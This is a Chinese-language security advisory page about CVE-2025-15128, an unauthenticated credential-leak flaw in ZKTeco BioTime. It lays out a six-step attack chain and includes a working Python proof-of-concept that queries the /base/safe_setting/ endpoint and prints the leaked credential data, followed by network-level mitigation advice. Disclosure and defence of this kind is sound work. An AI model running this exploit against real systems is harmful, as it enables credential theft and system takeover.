IPBUF安全漏洞报告
English
CVE-2025-15128 CVSS 5.3 中危

ZKTeco BioTime凭证泄露漏洞 (CVE-2025-15128)

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15128
漏洞类型
不安全的直接对象引用(IDOR)凭证泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZKTeco BioTime

相关标签

CVE-2025-15128ZKTeco BioTimeIDOR凭证泄露未授权访问安全漏洞中危漏洞网络攻击无需认证敏感数据泄露

漏洞概述

CVE-2025-15128是ZKTeco BioTime考勤管理系统中的一个中危安全漏洞,CVSS评分5.3。该漏洞存在于系统的/base/safe_setting/端点,攻击者可以通过操纵backup_encryption_password_decrypt或export_encryption_password_decrypt参数,未经授权访问系统中的凭证存储信息。由于该端点缺乏适当的访问控制验证,远程攻击者无需任何认证即可利用此漏洞获取敏感的用户凭证数据。此漏洞影响ZKTeco BioTime 9.0.3、9.0.4和9.5.2及之前版本。漏洞已于2025年12月28日公开披露,厂商在早期收到通知后未做出任何回应。

技术细节

该漏洞是不安全的直接对象引用(IDOR)类型的安全问题。攻击者通过构造特定的HTTP请求,访问ZKTeco BioTime系统的/base/safe_setting/端点,并利用backup_encryption_password_decrypt或export_encryption_password_decrypt参数直接访问底层的凭证存储。由于系统未对这些参数进行充分的访问控制验证和权限检查,攻击者可以绕过正常的身份验证流程获取敏感数据。漏洞的利用条件非常宽松:只需能够访问目标系统的网络即可,无需用户交互,也不需要任何凭据。攻击成功后,攻击者可以获取系统中存储的加密凭证,这些凭证可能包括管理员账户、其他用户账户或系统服务的认证信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中运行的ZKTeco BioTime版本(<=9.0.3/9.0.4/9.5.2)
STEP 2
步骤2
攻击者构造HTTP请求访问/base/safe_setting/端点,无需任何认证(PR:N)
STEP 3
步骤3
攻击者通过GET参数backup_encryption_password_decrypt或export_encryption_password_decrypt注入恶意请求
STEP 4
步骤4
系统由于IDOR漏洞,未验证用户权限,直接返回底层凭证存储数据
STEP 5
步骤5
攻击者获取到未受保护的凭证信息,可能包括用户名、密码、API密钥等敏感数据
STEP 6
步骤6
攻击者利用窃取的凭证进行后续横向移动或完全接管系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15128 PoC - ZKTeco BioTime Unprotected Credential Storage # Target: ZKTeco BioTime <= 9.0.3/9.0.4/9.5.2 def exploit(target_url, param_type='backup_encryption_password_decrypt'): """ Exploit IDOR vulnerability to access unprotected credentials param_type: 'backup_encryption_password_decrypt' or 'export_encryption_password_decrypt' """ endpoints = [ '/base/safe_setting/', '/base/safe_setting/index' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint params = {param_type: '1'} print(f"[*] Testing endpoint: {url}") print(f"[*] Parameter: {param_type}") try: # No authentication required (PR:N, UI:N) response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Potential credential data found!") print(f"[*] Response length: {len(response.text)} bytes") print(f"[*] Response preview:\n{response.text[:500]}") return response.text else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-15128.py <target_url>") print("Example: python cve-2025-15128.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-15128 PoC - ZKTeco BioTime IDOR Credential Leak") print(f"[*] Target: {target}\n") exploit(target, 'backup_encryption_password_decrypt') exploit(target, 'export_encryption_password_decrypt')

影响范围

ZKTeco BioTime <= 9.0.3
ZKTeco BioTime <= 9.0.4
ZKTeco BioTime <= 9.5.2

防御指南

临时缓解措施
由于厂商未回应安全通知,建议在网络层实施访问控制,限制对ZKTeco BioTime管理界面的访问来源,仅允许受信任的IP地址访问。同时可考虑使用反向代理或VPN通道访问系统,并密切监控任何异常的凭证访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表